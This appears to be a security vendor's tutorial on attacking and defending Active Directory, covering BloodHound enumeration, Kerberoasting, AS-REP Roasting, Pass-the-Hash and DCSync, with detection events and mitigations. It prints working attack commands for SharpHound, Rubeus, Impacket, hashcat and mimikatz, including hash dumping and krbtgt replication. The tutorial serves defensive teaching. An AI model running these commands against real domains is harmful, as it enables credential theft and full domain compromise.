Active Directory Security: Attacks and Defense from Scratch
1. Introduction
Active Directory security has become the central challenge of corporate cybersecurity, and it is not a coincidence: Active Directory concentrates the credentials, policies, and access control of the entire organization. When an adversary or a Red Team compromises a domain, they gain de facto control of the company. That is why this article approaches Active Directory security from scratch with a hands-on focus: mapping the terrain with BloodHound, stealing credentials through Kerberoasting and AS-REP Roasting, escalating with Pass-the-Hash and DCSync, and rolling out the controls that make Active Directory security defensible and auditable. When you finish, you will have a complete attack-and-defense playbook for the directory of any enterprise.
Every Active Directory security strategy must start by understanding why this service is, by far, the top target for attackers. Every logon, every Kerberos ticket, and every replication leaves a trace in the domain controller logs, and Active Directory security is played precisely in reading those traces before the adversary does. Keeping that balance between visibility and usability is the real craft of the administrator.
2. Why Active Directory security is the top priority
More than 90% of large companies use Active Directory as their central identity store, and incident reports from recent years show that most successful attacks against Windows environments end in a domain compromise. Active Directory security is played at many layers, but they all converge on one uncomfortable truth: if the attacker owns AD, they own the company. MITRE ATT&CK groups these abuses under T1558 (Kerberos ticket theft and forgery) and T1069 (group and permission discovery), and all of them are part of the standard arsenal against Active Directory security.
On top of that, the hybrid identity model complicates the perimeter: an attacker who obtains valid domain credentials can reach Office 365, Azure, corporate VPNs, and SaaS with the same token. Any serious hardening exercise must therefore assume that Active Directory security no longer ends at the data center: it includes the hybrid ecosystem and the privileged service accounts that connect both worlds.
The third reason is financial: the average cost of a domain-compromising incident is measured in months of forensics, restoration, and reputational damage. Investing in Active Directory security is, in practice, one of the best business decisions an IT leadership team can make.
3. Reconnaissance: BloodHound and attack paths
The first step in any rigorous approach to Active Directory security is exhaustive enumeration of the domain. You cannot protect what you do not know, and you cannot attack what you have not mapped. BloodHound turns the AD structure into a directed graph where every node is a user, computer, group, or resource, and every edge is a potential abuse: group memberships, trust relationships, linked GPOs, and abusable DACL permissions.
3.1. Data collection: the map that Active Directory security needs
Collection is performed with SharpHound, the official collector that queries LDAP and remote systems to build the graph:
# Full collection with SharpHound (stealth mode to avoid extra logs)
SharpHound.exe -c All --ldapuser svc-monitoring --ldappass 'S3cr3t!' --domain corp.local
# Alternative from PowerShell inside the segment itself
Import-Module .\BloodHound.ps1
Invoke-BloodHound -CollectionMethod All -Domain corp.local -ZipFileName ad-graph.zip
Fig. 1 – Active Directory graph collection with SharpHound for analysis in BloodHound.
Once the graph is loaded, BloodHound answers the questions that define the real state of Active Directory security: which users can request their own Kerberos tickets, which machines are administered by compromised accounts, or which paths of a few hops lead from an unprivileged user to Domain Admins. Every path marked in red is a concrete vulnerability that the attacker will exploit and the defender must break.
3.2. From enumeration to action
In our lab, enumeration revealed a classic pattern: the svc-monitoring account belonged to the Administrators of the application cluster, and those machines had write permissions over a domain GPO. That single chain turns a seemingly unimportant service account into a direct vector to the domain, proving that Active Directory security is not solved just with password policies, but by cutting abuse paths. Tools such as ACLight or BloodHound’s own Cypher queries allow periodic auditing of those permissions.
4. Credential attacks: Kerberoasting and AS-REP Roasting
The next step in any Active Directory security assessment is attacking the Kerberos authentication layer. These attacks abuse accounts with registered SPNs instead of brute-forcing the network: they steal tickets and crack them offline, generating minimal suspicious traffic.
4.1. Kerberoasting: the greatest threat to Active Directory security
When a user requests a TGS ticket for a service, the domain controller encrypts it with the password of the account that owns the SPN. Kerberoasting consists of requesting tickets in bulk and cracking them offline with a wordlist. The same lab machine extracted them with Rubeus and Impacket:
# Extract all possible TGS tickets with Rubeus
.\Rubeus.exe kerberoast /outfile:tickets_kerberoast.txt
# From Linux with Impacket (requires valid domain credentials)
python3 GetUserSPNs.py corp.local/adm.carlos:'C0ntra2026!' -dc-ip 192.168.1.10 -request
# Offline cracking of the Kerberos 5 etype 23 hash with hashcat
hashcat -m 13100 tickets_kerberoast.txt rockyou.txt --show
Fig. 2 – Complete Kerberoasting: TGS ticket extraction and offline cracking with hashcat.
In the lab, the svc-metrics account with an 11-character password cracked in less than an hour on a home GPU. The lesson for Active Directory security is twofold: no service account should ever have a human-memorable password, and ticket encryption must be AES256, never RC4, because the ticket encryption mode reveals the cryptographic material available to the attacker.
4.2. AS-REP Roasting and defensive hardening
An even quieter variant: if an account has Kerberos pre-authentication disabled, anyone can request a TGT encrypted with its password without ever interacting with the account. Detecting accounts with the Do not require Kerberos preauth flag must be part of any Active Directory security audit. Countermeasures: use group managed service accounts (gMSA) that auto-rotate their passwords every 30 days, disable RC4 encryption via GPO, hunt for SPNs registered on regular user accounts rather than service accounts, and enforce a 25-character minimum password for accounts with SPNs.
5. Escalation to the domain: Pass-the-Hash, DCSync, and delegations
Once the adversary holds valid credentials, Active Directory security faces its hardest phase: silent escalation. Pass-the-Hash lets an attacker authenticate against any server using only the NTLM hash stolen with mimikatz, without knowing the plaintext password:
# Dump the hashes from the local session with mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Direct remote authentication with the stolen hash
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:adm.carlos /domain:corp.local /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:powershell"
# Directory replication as a DCSync attack
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" "exit"
Fig. 3 – Hash dumping, Pass-the-Hash, and DCSync with mimikatz in the lab.
DCSync does not exploit a vulnerability: it abuses legitimate directory replication permissions (GetChanges/GetChangesAll) to dump the hashes of any account, including the krbtgt account. With the krbtgt hash, the attacker forges a Golden Ticket valid for years, even if user passwords are changed. Defense requires reviewing who holds replication rights, disabling RC4 encryption, deploying Credential Guard on administrative hosts, and monitoring events 4662 and 5136 that accompany unscheduled replication cycles.
Kerberos delegations (unconstrained or resource-based) add another risk layer: they allow a delegated service to request tickets for other users. In the audit, we recommend enumerating delegations with Active Directory Users and Computers and, whenever business allows it, replacing them with temporary access credentials or gMSAs with constrained delegation and AES encryption.
6. Mitigation, detection, and monitoring
Mature Active Directory security is proven in what your SIEM can see. The following table lists the detection signals for the attacks covered above, with the Windows event identifiers you should correlate:
| Attack | Detection signal (Event ID) | Key mitigation |
|---|---|---|
| Kerberoasting | 4769 with RC4 encryption on the service ticket | Disable RC4, use gMSA, enforce 25-character passwords |
| AS-REP Roasting | 4768 against accounts without Kerberos pre-auth | Re-enable pre-authentication and audit the flag yearly |
| Pass-the-Hash | 4624 with the same NTLM hash across hosts | Credential Guard, LAPS, unique local administrator |
| DCSync | 4662 with control 0x100 (Ds-Replication-Get-Changes) | Restrict GetChanges/GetChangesAll, alert out-of-hours replication |
| Golden Ticket | 4768/4769 with anomalous properties and lifetime beyond 10 hours | Rotate krbtgt twice and reset domain sessions |
| Kerberos delegation | 4769 with option code 0x08000000 | Remove unconstrained delegation, use AES-enabled gMSAs |
As a practical example, the PowerShell script below detects service ticket requests encrypted with RC4, an unambiguous signal of ongoing Kerberoasting:
# Kerberoasting detection: service tickets (4769) encrypted with RC4
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769} |
Where-Object { $_.Properties[3].Value -eq 17 } |
Group-Object @{e={$_.Properties[0].Value}} |
Where-Object Count -gt 10 |
Select-Object Count, Name | Out-GridView
Fig. 4 – PowerShell query to detect bursts of TGS tickets with RC4 encryption in the Windows event viewer.
Beyond telemetry, schedule a monthly review cycle: re-run the BloodHound graph, cross-check attack paths against the privileged account inventory, and re-execute the detection playbook. Active Directory security is not a project with an end date, but an ongoing process that must be subject to regular internal and external security baselines and audits aligned with frameworks such as NIST 800-53 and ISO 27001.
7. Conclusion
Active Directory security is a battlefield with defined rules: the adversary will enumerate, steal credentials, escalate, and try to persist, and the defender only wins by knowing each of those phases and building telemetry to see them. We covered the full cycle: reconnaissance with BloodHound, Kerberoasting and AS-REP Roasting, escalation with Pass-the-Hash and DCSync, and the mitigations that neutralize them, from gMSA and AES256 to Credential Guard and krbtgt rotation.
Credential access is the phase where most Windows domains fall, and also where discipline pays off the most. What matters is consistency: audit the graph, review replication permissions, shrink the service account surface, and keep the SIEM sharp. If a single control from this list is missing, the attacker will probably find it. Well-executed Active Directory security turns the domain into a fortress that raises the cost of the attack so much that the adversary gives up.
Related articles: applying the PDCA cycle to audit Active Directory security and programming the IT governance audits that sustain your security program.
Need help with Active Directory security?
At Jaymon Security, we help organizations protect their systems. From security audits to SIEM/SOC implementation, our expert team designs custom solutions.
Contact us for a free infrastructure assessment.


